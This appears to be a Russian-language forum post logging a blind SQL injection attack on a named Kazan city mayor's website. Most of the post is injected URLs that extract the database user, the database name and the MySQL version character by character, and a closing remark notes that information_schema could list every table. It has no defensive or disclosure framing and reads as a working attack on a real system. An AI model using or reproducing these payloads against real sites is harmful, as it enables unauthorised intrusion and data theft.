http://mer.e-kazan.ru Сайт мэра города Казани=)

юзер:
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),1,1)))='1 09 = m
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),2,1)))='1 01 = e
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),3,1)))='1 14 = r
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),4,1)))='6 4 = @
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),5,1)))='1 08 = l
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),6,1)))='1 11 = o
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),7,1)))='9 9 = c
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),8,1)))='9 7 = a
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),9,1)))='1 08 = l
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),10,1)))=' 104 = h
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),11,1)))=' 111 = o
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),12,1)))=' 115 = s
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),13,1)))=' 116 = t
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(user(),14,1)))=' 0

бд:
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),1,1)) )='109 = m
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),2,1)) )='101 = e
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),3,1)) )='114 = r
http://mer.e-kazan.ru/rus/events'+and+ascii(lower(substring(database(),4,1)) )='0

версия MySQL - 5:
http://mer.e-kazan.ru/rus/events'+and+substring(version(),1,1)='5

p.s. через information_shema можно вывести все таблицы, но к сожалению на сайте base авторизация ='(